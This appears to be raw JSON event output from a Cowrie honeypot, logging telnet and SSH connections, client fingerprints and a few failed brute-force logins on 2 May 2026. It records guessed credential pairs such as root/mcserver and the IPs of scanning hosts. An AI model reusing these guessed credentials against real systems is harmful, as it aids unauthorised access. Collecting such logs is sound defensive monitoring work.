{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38392,"dst_ip":"159.203.135.109","dst_port":23,"session":"53c7d667a2cf","protocol":"telnet","message":"New connection: 161.97.105.174:38392 (159.203.135.109:23) [session: 53c7d667a2cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:57:58.861028Z"}
{"eventid":"cowrie.session.closed","duration":36.381487131118774,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:00.164399Z","src_ip":"64.227.101.30","session":"2c18f48e0119","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":45802,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dabd3bf8447","protocol":"telnet","message":"New connection: 64.227.101.30:45802 (10.17.0.5:23) [session: 0dabd3bf8447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:00.436402Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50854,"dst_ip":"10.17.0.5","dst_port":22,"session":"09dfe9169990","protocol":"ssh","message":"New connection: 193.32.162.145:50854 (10.17.0.5:22) [session: 09dfe9169990]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:01.254892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:01.267255Z","src_ip":"193.32.162.145","session":"09dfe9169990","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:01.386949Z","src_ip":"193.32.162.145","session":"09dfe9169990","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"raydium","message":"login attempt [sol/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:01.893167Z","src_ip":"193.32.162.145","session":"09dfe9169990","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:03.002738Z","src_ip":"193.32.162.145","session":"09dfe9169990","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48730,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa8bafd042fe","protocol":"telnet","message":"New connection: 64.227.101.30:48730 (10.17.0.5:23) [session: fa8bafd042fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:03.383533Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49368,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e2b144e05e8","protocol":"telnet","message":"New connection: 64.227.101.30:49368 (10.17.0.5:23) [session: 9e2b144e05e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:05.699460Z"}
{"eventid":"cowrie.session.closed","duration":38.422019720077515,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:05.772056Z","src_ip":"64.227.101.30","session":"56b804c8681c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.7642936706543,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:06.221093Z","src_ip":"161.97.105.174","session":"8bb5bb569276","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50412,"dst_ip":"10.17.0.5","dst_port":23,"session":"33ce9c1d874d","protocol":"telnet","message":"New connection: 64.227.101.30:50412 (10.17.0.5:23) [session: 33ce9c1d874d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:06.933396Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50664,"dst_ip":"10.17.0.5","dst_port":23,"session":"2de2d48730d5","protocol":"telnet","message":"New connection: 64.227.101.30:50664 (10.17.0.5:23) [session: 2de2d48730d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:07.420622Z"}
{"eventid":"cowrie.session.closed","duration":44.02901363372803,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:07.804802Z","src_ip":"64.227.101.30","session":"14125f3f2b82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51018,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a644b179321","protocol":"telnet","message":"New connection: 64.227.101.30:51018 (10.17.0.5:23) [session: 2a644b179321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:08.030717Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51324,"dst_ip":"10.17.0.5","dst_port":23,"session":"844abac469e6","protocol":"telnet","message":"New connection: 64.227.101.30:51324 (10.17.0.5:23) [session: 844abac469e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:09.593718Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":41408,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f9cfad28ac4","protocol":"telnet","message":"New connection: 68.183.198.12:41408 (159.203.135.109:23) [session: 0f9cfad28ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:10.094856Z"}
{"eventid":"cowrie.session.closed","duration":38.268813133239746,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:10.225688Z","src_ip":"64.227.101.30","session":"46c26757bad5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52070,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cb29d1b2300","protocol":"telnet","message":"New connection: 64.227.101.30:52070 (10.17.0.5:23) [session: 1cb29d1b2300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:11.043741Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53824,"dst_ip":"10.17.0.5","dst_port":23,"session":"f85cbbe10946","protocol":"telnet","message":"New connection: 64.227.101.30:53824 (10.17.0.5:23) [session: f85cbbe10946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:14.256681Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59956,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ef81fe2d029","protocol":"telnet","message":"New connection: 161.97.105.174:59956 (159.203.135.109:23) [session: 2ef81fe2d029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:14.398897Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51388,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c28ed29ec84","protocol":"telnet","message":"New connection: 64.227.101.30:51388 (10.17.0.5:23) [session: 4c28ed29ec84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:15.707309Z"}
{"eventid":"cowrie.session.closed","duration":0.6241157054901123,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:16.331288Z","src_ip":"64.227.101.30","session":"4c28ed29ec84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52386,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6a022402864","protocol":"telnet","message":"New connection: 64.227.101.30:52386 (10.17.0.5:23) [session: e6a022402864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:16.779154Z"}
{"eventid":"cowrie.session.closed","duration":41.50565981864929,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:17.025738Z","src_ip":"64.227.101.30","session":"8f822cf9182c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.52890229225159,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:18.428374Z","src_ip":"64.227.101.30","session":"19e8acaa1c13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.45826268196106,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:24.186826Z","src_ip":"64.227.101.30","session":"daafaca402ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.91205334663391,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:25.490810Z","src_ip":"64.227.101.30","session":"908a8812a131","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":53956,"dst_ip":"159.203.135.109","dst_port":23,"session":"8828c719e7e2","protocol":"telnet","message":"New connection: 161.97.105.174:53956 (159.203.135.109:23) [session: 8828c719e7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:26.156793Z"}
{"eventid":"cowrie.session.closed","duration":42.904242753982544,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:27.321065Z","src_ip":"64.227.101.30","session":"73d5411cdb22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":44610,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac1136734a7d","protocol":"telnet","message":"New connection: 64.227.101.30:44610 (10.17.0.5:23) [session: ac1136734a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:27.344131Z"}
{"eventid":"cowrie.session.closed","duration":39.49166131019592,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:27.435806Z","src_ip":"64.227.101.30","session":"17e67f48ef0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33846,"dst_ip":"10.17.0.5","dst_port":23,"session":"44d086692a65","protocol":"telnet","message":"New connection: 64.227.101.30:33846 (10.17.0.5:23) [session: 44d086692a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:27.828247Z"}
{"eventid":"cowrie.session.closed","duration":32.21393418312073,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:28.928606Z","src_ip":"161.97.105.174","session":"125cced01a69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":60258,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9ea0157d75c","protocol":"ssh","message":"New connection: 103.170.173.26:60258 (10.17.0.5:22) [session: b9ea0157d75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:30.537394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:30.542050Z","src_ip":"103.170.173.26","session":"b9ea0157d75c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:30.803511Z","src_ip":"103.170.173.26","session":"b9ea0157d75c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mcserver","message":"login attempt [root/mcserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:31.864338Z","src_ip":"103.170.173.26","session":"b9ea0157d75c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59636,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7e03606a643","protocol":"telnet","message":"New connection: 64.227.101.30:59636 (10.17.0.5:23) [session: f7e03606a643]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:31.939358Z"}
{"eventid":"cowrie.session.closed","duration":40.67227363586426,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:32.254215Z","src_ip":"64.227.101.30","session":"615d0ae51af7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":49432,"dst_ip":"159.203.135.109","dst_port":23,"session":"dce1ecde3731","protocol":"telnet","message":"New connection: 161.97.105.174:49432 (159.203.135.109:23) [session: dce1ecde3731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:32.442632Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:33.126587Z","src_ip":"103.170.173.26","session":"b9ea0157d75c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.48571538925171,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:34.346650Z","src_ip":"161.97.105.174","session":"53c7d667a2cf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.328774213790894,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:34.953239Z","src_ip":"64.227.101.30","session":"01ef01a5d826","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37820,"dst_ip":"10.17.0.5","dst_port":23,"session":"083984a8edfd","protocol":"telnet","message":"New connection: 64.227.101.30:37820 (10.17.0.5:23) [session: 083984a8edfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:35.840089Z"}
{"eventid":"cowrie.session.closed","duration":57.98867917060852,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:36.905086Z","src_ip":"64.227.101.30","session":"4e7369b9a4c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.365639448165894,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:36.912304Z","src_ip":"64.227.101.30","session":"b84c2ee88785","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36846,"dst_ip":"10.17.0.5","dst_port":23,"session":"876c98bcc90a","protocol":"telnet","message":"New connection: 64.227.101.30:36846 (10.17.0.5:23) [session: 876c98bcc90a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:37.212390Z"}
{"eventid":"cowrie.session.closed","duration":13.312622785568237,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:40.656661Z","src_ip":"64.227.101.30","session":"ac1136734a7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.850966930389404,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:42.234371Z","src_ip":"64.227.101.30","session":"fa8bafd042fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66254687309265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:44.919091Z","src_ip":"64.227.101.30","session":"f85cbbe10946","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.431875467300415,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:45.414870Z","src_ip":"68.183.198.12","session":"f10a08bd1282","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.156.152.18","src_port":24384,"dst_ip":"10.17.0.5","dst_port":22,"session":"462d94ff2c30","protocol":"ssh","message":"New connection: 94.156.152.18:24384 (10.17.0.5:22) [session: 462d94ff2c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:46.752348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:46.756357Z","src_ip":"94.156.152.18","session":"462d94ff2c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:46.878271Z","src_ip":"94.156.152.18","session":"462d94ff2c30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.31031918525696,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:47.009672Z","src_ip":"64.227.101.30","session":"9e2b144e05e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.081639528274536,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:47.014885Z","src_ip":"64.227.101.30","session":"33ce9c1d874d","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"YOGZVPS#4VCPU8GB","message":"login attempt [root/YOGZVPS#4VCPU8GB] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:47.248065Z","src_ip":"94.156.152.18","session":"462d94ff2c30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.95827651023865,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:48.357012Z","src_ip":"161.97.105.174","session":"2ef81fe2d029","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.4771842956543,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:48.361965Z","src_ip":"64.227.101.30","session":"599b2b430456","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:48.372947Z","src_ip":"94.156.152.18","session":"462d94ff2c30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.559069871902466,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:48.589679Z","src_ip":"64.227.101.30","session":"2a644b179321","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.71813130378723,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:48.761657Z","src_ip":"64.227.101.30","session":"1cb29d1b2300","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":46558,"dst_ip":"159.203.135.109","dst_port":23,"session":"339359a9e623","protocol":"telnet","message":"New connection: 68.183.198.12:46558 (159.203.135.109:23) [session: 339359a9e623]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:48.899234Z"}
{"eventid":"cowrie.session.closed","duration":39.555176973342896,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:49.148771Z","src_ip":"64.227.101.30","session":"844abac469e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.8175086975097656,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:49.716628Z","src_ip":"68.183.198.12","session":"339359a9e623","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.76632905006409,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:50.186813Z","src_ip":"64.227.101.30","session":"2de2d48730d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.420039892196655,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:58:50.514783Z","src_ip":"68.183.198.12","session":"0f9cfad28ac4","protocol":"telnet"}
